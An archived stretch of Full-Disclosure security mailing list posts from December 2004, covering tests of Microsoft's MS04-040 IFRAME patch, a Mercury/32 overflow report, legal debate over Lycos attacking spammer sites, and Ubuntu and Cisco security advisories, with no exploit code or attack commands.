> hacker groups, fk them all. The net needs zero tollerence with online
> crime. Govs should have the authority to close anything done because
> they feel like it, without needing to prove shit.
>
> I would even close IRC channels. Hackphreak on undernet looks
> harmless, but fk that. Close it anyway, its time to get a tighter grip
> on things.
>
>
>
> Thanks,n3td3v
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: morning_wood (se_cur_ityhotmail.com)
Date: Thu Dec 02 2004 - 02:58:12 CST

I can confirm on WinXP SP1 ( download the [patch].exe run and reboot)
 Mr Wever's exploit PoC did not run ( no shell, dialog warning )

cheers,
m.w

> > The IFRAME vulnerability has been patched, see
http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx
>
> The wording in ms04-040 is so vague, I am not entirely sure that this
> patch is a fix for the IFRAME bug(s)?
>
> > *** Make sure you are patched after installing ***
> > I installed it using "Automatic Updates" (on Win2ksp4), rebooted and
loaded my InternetExploiter.html: IT STILL WORKED!!
> > Even though both "Automatic Updates" and
"http://windowsupdate.microsoft.com" reported that I was patched!?!
> > I manually downloaded the exe and ran it, rebooted and now I'm finally
truely patched.
>
> Just so I am clear, after automatic updates applied the "critical
> patch" on W2KSP4 and rebooted, the IFRAME exploit still worked, but
> manually downloading the executable given in the Microsoft alert and
> running it results in a system on which the IFRAME exploit no longer
> works?
>
> This would be confirmation that ms04-040 actually does address the
> IFRAME exploit.
>
>
> Kevin
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.

From: Laurent Saplairoles (lsaplai-listtelus.net)
Date: Thu Dec 02 2004 - 03:35:03 CST

On 1 Dec 2004 at 14:16, Reed Arvin wrote:

> Summary:
> Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003
> (http://www.pmail.com/).
>
> Details:
> Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.
> There are 14 vulnerable commands that can be used to cause buffer
> overflows to occur. After a successful login to the mail server, if
> any of these commands are used with an overly long argument the
> application closes resulting in a denial of service. The commands and
> approximate argument lengths are as follows:

[snip]

>
> Vulnerable Versions:
> Mercury/32, v4.01a, Dec 8 2003
>
> Solutions:
> The vendor was notified of the issue. There was no response.
>

[snip]

David Harris, author of both Merucry Mail server and Pegasus Mail has aknowledge
the problem this morning on the Mercury Mailing list. He announced that he was
working on a fix which should be available by tomorrow (Thusday Dec 2) evening
(take the timing as you wish, David is in NZ)

Reed, there are words of being able to run an application on the Mercury machine.
Can you confirm that? If so, please be sure to advise David Harris.

--
Laurent
Sacha Guitry (1895 - 1957)
Le meilleur moyen de faire tourner la tête à une femme, c'est de lui dire qu'elle a un
joli profil.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

From: Adam Challis (adamadamchallis.co.uk)
Date: Thu Dec 02 2004 - 02:57:24 CST

>The Computer Fraud and Abuse Act
(http://www.usdoj.gov/criminal/cybercrime/1030_new.html).

Being based in Germany, wouldn't they be subject to German and EU law?

Does anybody know which German and EU laws are relevant to MLNS?

Adam

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] (no subject)

From: Stepanov Serg (serg_stepanovzeto.ru)
Date: Thu Dec 02 2004 - 04:43:17 CST

Hello full-disclosure,

  

--
Best regards,
 Stepanov mailto:serg_stepanovzeto.ru

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: Des Ward (des_wardo2.co.uk)
Date: Thu Dec 02 2004 - 04:27:13 CST

Has anyone confirmed that the XP Sp1 and/or NT4 windows update patch(es) work with regards to skylined's exploit code; or do we have to deploy the .exe file?

Only asking cos I can't test this until I get home to my lab tonight.

Cheers,

Des
-----Original Message-----
From: "morning_wood" <se_cur_ityhotmail.com>
Date: Thu, 2 Dec 2004 00:58:12
To:"Kevin" <kkadowgmail.com>, <full-disclosurelists.netsys.com>
Subject: Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

I can confirm on WinXP SP1 ( download the [patch].exe run and reboot)
 Mr Wever's exploit PoC did not run ( no shell, dialog warning )

cheers,
m.w

> > The IFRAME vulnerability has been patched, see
http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx
>
> The wording in ms04-040 is so vague, I am not entirely sure that this
> patch is a fix for the IFRAME bug(s)?
>
> > *** Make sure you are patched after installing ***
> > I installed it using "Automatic Updates" (on Win2ksp4), rebooted and
loaded my InternetExploiter.html: IT STILL WORKED!!
> > Even though both "Automatic Updates" and
"http://windowsupdate.microsoft.com" reported that I was patched!?!
> > I manually downloaded the exe and ran it, rebooted and now I'm finally
truely patched.
>
> Just so I am clear, after automatic updates applied the "critical
> patch" on W2KSP4 and rebooted, the IFRAME exploit still worked, but
> manually downloading the executable given in the Microsoft alert and
> running it results in a system on which the IFRAME exploit no longer
> works?
>
> This would be confirmation that ms04-040 actually does address the
> IFRAME exploit.
>
>
> Kevin
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Kind regards,

Des Ward

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: Lionel Ferette (lionel.ferettebelnet.be)
Date: Thu Dec 02 2004 - 05:05:59 CST

In the wise words of Des Ward, on Thursday 02 December 2004 11:27:
> Has anyone confirmed that the XP Sp1 and/or NT4 windows update patch(es)
> work with regards to skylined's exploit code; or do we have to deploy the
> .exe file?
The quick test I've made with WindowsUpdate on a XPSP1a was successful. Same
result as described in Morning Wood's message earlier today. But as often
with MS, YMMV depending on hotfixes installed, outside temperature, ...

Cheers,

Lionel

--
"To understand how progress failed to make our lives easier,
please press 3"

Lionel Ferette
BELNET CERT Coordinator

Tel: +32 2 7903385 http://cert.belnet.be/
Fax: +33 2 7903375 PGP Key Id: 0x5662FD4B

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQBBrvctDd3gqVZi/UsRAgCGAKCusHGfViSsjEcLqFh2YhDgdgKrbwCfXRhy
Lvq15GPX5NprDxo48NaKRYo=
=0gZ1
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

From: Ansgar Esztermann (ansgarthphy.uni-duesseldorf.de)
Date: Thu Dec 02 2004 - 05:02:51 CST

On Thu, Dec 02, 2004 at 08:57:24AM -0000, Adam Challis wrote:
> >The Computer Fraud and Abuse Act
> (http://www.usdoj.gov/criminal/cybercrime/1030_new.html).
>
> Being based in Germany, wouldn't they be subject to German and EU law?
>
> Does anybody know which German and EU laws are relevant to MLNS?

IANAL, but maybe Par. 303a StGB fits:

|Datenveränderung
|
|(1) Wer rechtswidrig Daten (§ 202a Abs. 2) löscht, unterdrückt,
|unbrauchbar macht oder verändert, wird mit Freiheitsstrafe bis zu zwei
|Jahren oder mit Geldstrafe bestraft.

"Anyone who unlawfully deletes, suppresses, makes unusable or changes
data is subject to a prison sentence of up to two years or a fine."

Maybe a DOS counts as "suppressing data"

There is also Par. 303b:

|(1) Wer eine Datenverarbeitung, die für einen fremden Betrieb, ein
|fremdes Unternehmen oder eine Behörde von wesentlicher Bedeutung ist,
|dadurch stört, daß er
|
| 1. eine Tat nach § 303a Abs. 1 begeht oder
| 2. eine Datenverarbeitungsanlage oder einen Datenträger
| zerstört, beschädigt, unbrauchbar macht, beseitigt oder
| verändert,
|
|wird mit Freiheitsstrafe bis zu fünf Jahren oder mit
|Geldstrafe bestraft.
         
"(1) Anyone who disturbs a computer system that is essential for a
company or an agency by
 
 1. committing a crime as set forth in Par. 303a (1) or
 2. destroying, damaging, making unusable, taking away, or changing a
 computer system or media [for data storage]

is subject to a prison sentence of up to five years or a fine."

In a way, a DOS attack does make a computer system unusable.
But then again, I don't know how a lawyer (or a judge) would see these
things.

BTW, in both cases, the attempt is also subject to punishment.

A.

--
Ansgar Esztermann
Researcher & Sysadmin
http://www2.thphy.uni-duesseldorf.de/~ansgar

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFBrvZbobc3vX8xLXcRAu3UAJ9TiFldCkgIUXiIrLcFGZIjLGp6mACeLWm/
jolssPNhjDZk0C0TGyv5MeM=
=SsmK
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

From: Constantin Hofstetter (constantin.hofstettergmail.com)
Date: Thu Dec 02 2004 - 05:40:35 CST

MLNS?

On Thu, 2 Dec 2004 08:57:24 -0000, Adam Challis <adamadamchallis.co.uk> wrote:
>
>
> >The Computer Fraud and Abuse Act
> (http://www.usdoj.gov/criminal/cybercrime/1030_new.html).
>
> Being based in Germany, wouldn't they be subject to German and EU law?
>
> Does anybody know which German and EU laws are relevant to MLNS?
>
> Adam

--
Constantin Hofstetter
http://www.consti.de
Constantin.Hofstettergmail.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: BillyBob (billybobknobhotmail.com)
Date: Thu Dec 02 2004 - 07:06:41 CST

Does anyone know why Microsoft does not have this patch available for XP (no
SP) running IE6 ?
I know this system is vulnerable to the IFRAME exploit as I tested it.

Bill

----- Original Message -----
From: "Berend-Jan Wever" <skylinededup.tudelft.nl>
To: <full-disclosurelists.netsys.com>; <bugtraqsecurityfocus.com>
Sent: Wednesday, December 01, 2004 8:49 PM
Subject: [Full-Disclosure] Official IFRAME patch - make sure it installs
correctly

> The IFRAME vulnerability has been patched, see
http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx
>
> *** Make sure you are patched after installing ***
> I installed it using "Automatic Updates" (on Win2ksp4), rebooted and
loaded my InternetExploiter.html: IT STILL WORKED!!
> Even though both "Automatic Updates" and
"http://windowsupdate.microsoft.com" reported that I was patched!?!
> I manually downloaded the exe and ran it, rebooted and now I'm finally
truely patched.
>
> It might just have been a glitch on my system, but you might wanna check
anyway: InternetExploiter.html can still be downloaded from my website.
>
> Berend-Jan Wever
> <skylinededup.tudelft.nl>
> http://www.edup.tudelft.nl/~bjwever
> SkyLined in #SkyLined on EFNET
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Network Sniffing

From: Willem Koenings (infsecgmail.com)
Date: Thu Dec 02 2004 - 07:04:21 CST

On Tue, 30 Nov 2004 17:20:29 -0800, morning_wood <se_cur_ityhotmail.com> wrote:
> http://sourceforge.net/projects/showtraf
>
> showtraf.
> i use this everyday, its free, easy, simple, and small ( 1 file ).

i'd add something too here. not excactly a sniffer in traditional
way - it works on tcp stack on local machine, but it's also
only one exe file and doesn't need any winpcap.

http://www.dubaron.com/download.php?this=32

W.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [USN-37-1] cyrus21-imapd vulnerability

From: Martin Pitt (martin.pittcanonical.com)
Date: Thu Dec 02 2004 - 05:40:07 CST

===========================================================
Ubuntu Security Notice USN-37-1 December 02, 2004
cyrus21-imapd vulnerability
CAN-2004-1067
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

cyrus21-imapd

The problem can be corrected by upgrading the affected package to
version 2.1.16-6ubuntu0.2. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Recently another buffer overflow has been discovered in the SASL
authentication module of the Cyrus IMAP server. An off-by-one
comparison error in the mysasl_canon_user() function could lead to a
missing termination of an user name string.

This vulnerability could allow remote, attacker-supplied machine code
to be executed in the context of the affected server process. Since
the IMAP server usually runs as unprivileged user 'cyrus', there is no
possibility of root privilege escalation.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-imapd_2.1.16-6ubuntu0.2.diff.gz
      Size/MD5: 235236 7a90d7ad4ac770160a9891e9d1d78fa4
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-imapd_2.1.16-6ubuntu0.2.dsc
      Size/MD5: 1040 927bcc3f3f6d5ebd89ed6ca0eb6bf10a
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-imapd_2.1.16.orig.tar.gz
      Size/MD5: 1687454 8f4ff803a910d0f4e4cfab3b13a6080d

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-admin_2.1.16-6ubuntu0.2_all.deb
      Size/MD5: 87954 6a67d53239fb148a652e645a4df8eee9
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-doc_2.1.16-6ubuntu0.2_all.deb
      Size/MD5: 206582 5b01c7f365e9fd6244f9ac6fda53d841

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-clients_2.1.16-6ubuntu0.2_amd64.deb
      Size/MD5: 107038 80491bb2019d48d4af743584865d5916
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-common_2.1.16-6ubuntu0.2_amd64.deb
      Size/MD5: 2071536 49858ca6b1f98ba862121315e182049c
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-dev_2.1.16-6ubuntu0.2_amd64.deb
      Size/MD5: 267956 c23cdf07ed433032e1e52aff0650f3b8
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-imapd_2.1.16-6ubuntu0.2_amd64.deb
      Size/MD5: 591188 714d7a5ced1f53009de48c11c3e5b0be
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-murder_2.1.16-6ubuntu0.2_amd64.deb
      Size/MD5: 526740 522a06302593cabe6aff587fb6c41665
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-pop3d_2.1.16-6ubuntu0.2_amd64.deb
      Size/MD5: 93082 3416c83c2a7bed58f11cae29c4a3a984
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/libcyrus-imap-perl21_2.1.16-6ubuntu0.2_amd64.deb
      Size/MD5: 137756 2feafe3b400c06132f98a9c05f6308c7

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-clients_2.1.16-6ubuntu0.2_i386.deb
      Size/MD5: 104226 280b89486ec13768ba04636484415ae5
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-common_2.1.16-6ubuntu0.2_i386.deb
      Size/MD5: 1949446 b4d113e62f7ce2345d66e351bb4a0a26
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-dev_2.1.16-6ubuntu0.2_i386.deb
      Size/MD5: 261402 86e186b7567dbb4c1f2983cf8ee39c0d
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-imapd_2.1.16-6ubuntu0.2_i386.deb
      Size/MD5: 561750 b79b30937be975264a9b3c04997c2148
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-murder_2.1.16-6ubuntu0.2_i386.deb
      Size/MD5: 493320 02d235391908f72dceb60ab585e4c817
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-pop3d_2.1.16-6ubuntu0.2_i386.deb
      Size/MD5: 85208 31690f0e200890b893b33121b1000950
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/libcyrus-imap-perl21_2.1.16-6ubuntu0.2_i386.deb
      Size/MD5: 133822 b3a297c32a6d11e18a6f90c3ccf92bb7

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-clients_2.1.16-6ubuntu0.2_powerpc.deb
      Size/MD5: 106846 0ab7eaa810591f3689ae81ba44f0ab6f
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-common_2.1.16-6ubuntu0.2_powerpc.deb
      Size/MD5: 2083576 743b5aa1f54b05e4d22de593640286f0
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-dev_2.1.16-6ubuntu0.2_powerpc.deb
      Size/MD5: 265432 c2bfc27fcf9653b0d4bfdae990119e6e
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-imapd_2.1.16-6ubuntu0.2_powerpc.deb
      Size/MD5: 593504 c228969eb062341bc5fab1b01731f1f0
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-murder_2.1.16-6ubuntu0.2_powerpc.deb
      Size/MD5: 527666 c3bbf1358235ac4edd8e7b884ccbc15f
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/cyrus21-pop3d_2.1.16-6ubuntu0.2_powerpc.deb
      Size/MD5: 93268 212df47e59c3b55021ba24527c1430b1
    http://security.ubuntu.com/ubuntu/pool/main/c/cyrus21-imapd/libcyrus-imap-perl21_2.1.16-6ubuntu0.2_powerpc.deb
      Size/MD5: 135804 f862a4e9a5aaf934193221325b4fdc02

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBrv8XDecnbV4Fd/IRAr7oAJ95T6gx5AOVXPenjHlGLkxbFHfKswCgkea2
m7lBCxsKl6qb8616sMjRf1E=
=Ow2/
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: Todd Towles (toddtowlesbrookshires.com)
Date: Thu Dec 02 2004 - 08:07:10 CST

As stated in the FAQ of the patch page. It would appear the new baseline
for all future patches will be SP1 unless they decided to change it.

------------------------------------
 I am still using Windows XP, but extended security update support ended
on September 30th, 2004. What should I do?

The original version of Windows XP, commonly referred to as Windows XP
Gold or Windows XP Release to Manufacturing (RTM) version, reached the
end of its extended security update support life cycle on September
30th, 2004.

It should be a priority for customers who have these operating system
versions to migrate to supported versions to prevent potential exposure
to future vulnerabilities. For more information about the Windows
Product Life Cycle, visit the Microsoft Support Lifecycle Web site. For
more information about the extended security update support period for
these operating system versions, visit the Microsoft Product Support
Services Web site.

Customers who require additional support for Windows XP RTM must contact
their Microsoft account team representative, their Technical Account
Manager, or the appropriate Microsoft partner representative for custom
support options. Customers without an Alliance, Premier, or Authorized
Contract can contact their local Microsoft sales office. For contact
information, visit the Microsoft Worldwide Information Web site, select
the country, and then click Go to see a list of phone numbers. When you
call, ask to speak with the local Premier Support sales manager.

For more information, see the Windows Operating System FAQ.
------------------------------------

> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of BillyBob
> Sent: Thursday, December 02, 2004 7:07 AM
> To: Berend-Jan Wever; full-disclosurelists.netsys.com;
> bugtraqsecurityfocus.com
> Subject: Re: [Full-Disclosure] Official IFRAME patch - make
> sure it installs correctly
>
> Does anyone know why Microsoft does not have this patch
> available for XP (no
> SP) running IE6 ?
> I know this system is vulnerable to the IFRAME exploit as I tested it.
>
> Bill
>
> ----- Original Message -----
> From: "Berend-Jan Wever" <skylinededup.tudelft.nl>
> To: <full-disclosurelists.netsys.com>; <bugtraqsecurityfocus.com>
> Sent: Wednesday, December 01, 2004 8:49 PM
> Subject: [Full-Disclosure] Official IFRAME patch - make sure
> it installs correctly
>
>
> > The IFRAME vulnerability has been patched, see
> http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx
> >
> > *** Make sure you are patched after installing *** I installed it
> > using "Automatic Updates" (on Win2ksp4), rebooted and
> loaded my InternetExploiter.html: IT STILL WORKED!!
> > Even though both "Automatic Updates" and
> "http://windowsupdate.microsoft.com" reported that I was patched!?!
> > I manually downloaded the exe and ran it, rebooted and now
> I'm finally
> truely patched.
> >
> > It might just have been a glitch on my system, but you might wanna
> > check
> anyway: InternetExploiter.html can still be downloaded from
> my website.
> >
> > Berend-Jan Wever
> > <skylinededup.tudelft.nl>
> > http://www.edup.tudelft.nl/~bjwever
> > SkyLined in #SkyLined on EFNET
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

From: Kyle Maxwell (krmaxwellgmail.com)
Date: Thu Dec 02 2004 - 08:48:18 CST

On Thu, 2 Dec 2004 03:47:06 +0000, n3td3v <xploitablegmail.com> wrote:
> Thought:
> Hey, thanks for the insight. I can't see Lycos introducing the
> screensaver without talking with legal teams first, so surely we can
> presume everything is legal and above board?! Otherwise, why would
> Lycos want to put themselves in a legal tangle? Unless they weighed up
> the legal costs against the profit they would make from the PR stunt,
> from which all I can see, is all this whole thing appears to be.

It's entirely possible that their lawyers cleared it but that doesn't
necessarily make it really above board; if lawyers always agreed on
what was allowed, we wouldn't have so many corporate lawsuits. :) They
may be standing on the principle of "these are just a bunch of website
visits" without taking into account the fact that there's a stated
intent beyond just visiting the sites.

This is probably going to get a lot messier for Lycos before it's all over.

--
Kyle Maxwell
[krmaxwellgmail.com]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: Des Ward (des_wardo2.co.uk)
Date: Thu Dec 02 2004 - 09:08:26 CST

That would make sense, seeing as M$ stated on the deployment of Sp1 that patches would start to be released only for that patch or greater.
-----Original Message-----
From: "Todd Towles" <toddtowlesbrookshires.com>
Date: Thu, 2 Dec 2004 08:07:10
To:"BillyBob" <billybobknobhotmail.com>, "Berend-Jan Wever" <skylinededup.tudelft.nl>, <full-disclosurelists.netsys.com>, <bugtraqsecurityfocus.com>
Subject: RE: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

As stated in the FAQ of the patch page. It would appear the new baseline
for all future patches will be SP1 unless they decided to change it.

------------------------------------
 I am still using Windows XP, but extended security update support ended
on September 30th, 2004. What should I do?

The original version of Windows XP, commonly referred to as Windows XP
Gold or Windows XP Release to Manufacturing (RTM) version, reached the
end of its extended security update support life cycle on September
30th, 2004.

It should be a priority for customers who have these operating system
versions to migrate to supported versions to prevent potential exposure
to future vulnerabilities. For more information about the Windows
Product Life Cycle, visit the Microsoft Support Lifecycle Web site. For
more information about the extended security update support period for
these operating system versions, visit the Microsoft Product Support
Services Web site.

Customers who require additional support for Windows XP RTM must contact
their Microsoft account team representative, their Technical Account
Manager, or the appropriate Microsoft partner representative for custom
support options. Customers without an Alliance, Premier, or Authorized
Contract can contact their local Microsoft sales office. For contact
information, visit the Microsoft Worldwide Information Web site, select
the country, and then click Go to see a list of phone numbers. When you
call, ask to speak with the local Premier Support sales manager.

For more information, see the Windows Operating System FAQ.
------------------------------------

> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of BillyBob
> Sent: Thursday, December 02, 2004 7:07 AM
> To: Berend-Jan Wever; full-disclosurelists.netsys.com;
> bugtraqsecurityfocus.com
> Subject: Re: [Full-Disclosure] Official IFRAME patch - make
> sure it installs correctly
>
> Does anyone know why Microsoft does not have this patch
> available for XP (no
> SP) running IE6 ?
> I know this system is vulnerable to the IFRAME exploit as I tested it.
>
> Bill
>
> ----- Original Message -----
> From: "Berend-Jan Wever" <skylinededup.tudelft.nl>
> To: <full-disclosurelists.netsys.com>; <bugtraqsecurityfocus.com>
> Sent: Wednesday, December 01, 2004 8:49 PM
> Subject: [Full-Disclosure] Official IFRAME patch - make sure
> it installs correctly
>
>
> > The IFRAME vulnerability has been patched, see
> http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx
> >
> > *** Make sure you are patched after installing *** I installed it
> > using "Automatic Updates" (on Win2ksp4), rebooted and
> loaded my InternetExploiter.html: IT STILL WORKED!!
> > Even though both "Automatic Updates" and
> "http://windowsupdate.microsoft.com" reported that I was patched!?!
> > I manually downloaded the exe and ran it, rebooted and now
> I'm finally
> truely patched.
> >
> > It might just have been a glitch on my system, but you might wanna
> > check
> anyway: InternetExploiter.html can still be downloaded from
> my website.
> >
> > Berend-Jan Wever
> > <skylinededup.tudelft.nl>
> > http://www.edup.tudelft.nl/~bjwever
> > SkyLined in #SkyLined on EFNET
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Kind regards,

Des Ward

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Official IFRAME patch - make sure it instal ls correctly

From: Randal, Phil (prandalherefordshire.gov.uk)
Date: Thu Dec 02 2004 - 09:08:57 CST

Microsoft no longer supports Windows XP RTM. It only supports XP SP1
and XP SP2.

Cheers,

Phil

----
Phil Randal
Network Engineer
Herefordshire Council
Hereford, UK

> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of BillyBob
> Sent: 02 December 2004 13:07
> To: Berend-Jan Wever; full-disclosurelists.netsys.com;
> bugtraqsecurityfocus.com
> Subject: Re: [Full-Disclosure] Official IFRAME patch - make
> sure it installs correctly
>
> Does anyone know why Microsoft does not have this patch
> available for XP (no
> SP) running IE6 ?
> I know this system is vulnerable to the IFRAME exploit as I tested it.
>
> Bill
>
> ----- Original Message -----
> From: "Berend-Jan Wever" <skylinededup.tudelft.nl>
> To: <full-disclosurelists.netsys.com>; <bugtraqsecurityfocus.com>
> Sent: Wednesday, December 01, 2004 8:49 PM
> Subject: [Full-Disclosure] Official IFRAME patch - make sure
> it installs correctly
>
>
> > The IFRAME vulnerability has been patched, see
> http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx
> >
> > *** Make sure you are patched after installing *** I installed it
> > using "Automatic Updates" (on Win2ksp4), rebooted and
> loaded my InternetExploiter.html: IT STILL WORKED!!
> > Even though both "Automatic Updates" and
> "http://windowsupdate.microsoft.com" reported that I was patched!?!
> > I manually downloaded the exe and ran it, rebooted and now
> I'm finally
> truely patched.
> >
> > It might just have been a glitch on my system, but you might wanna
> > check
> anyway: InternetExploiter.html can still be downloaded from
> my website.
> >
> > Berend-Jan Wever
> > <skylinededup.tudelft.nl>
> > http://www.edup.tudelft.nl/~bjwever
> > SkyLined in #SkyLined on EFNET
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: daniel uriah clemens (daniel_clemensautism.birmingham-infragard.org)
Date: Thu Dec 02 2004 - 04:00:36 CST

http://support.microsoft.com/kb/889669

> Does anyone know why Microsoft does not have this patch available for XP (no
> SP) running IE6 ?
> I know this system is vulnerable to the IFRAME exploit as I tested it.
>
> Bill
>

-Daniel Uriah Clemens

Esse quam videra
                (to be, rather than to appear)
                     -Moments of Sorrow are Moments of Sobriety
                      { o)2059686335 c)2055676850 }

                          (Semper Fi)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Cisco Security Advisory: Cisco CNS Network Registrar Denial of Service Vulnerability

From: Cisco Systems Product Security Incident Response Team (psirtcisco.com)
Date: Thu Dec 02 2004 - 10:00:00 CST

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cisco Security Advisory: Cisco CNS Network Registrar Denial of Service
Vulnerability
=============================================================================
Revision 1.0

For Public Release 2004 December 02 1600 UTC (GMT)

- -----------------------------------------------------------------------------

Contents

    Summary
    Affected Products
    Details
    Impact
    Software Versions and Fixes
    Obtaining Fixed Software
    Workarounds
    Exploitation and Public Announcements
    Status of This Notice: FINAL
    Distribution
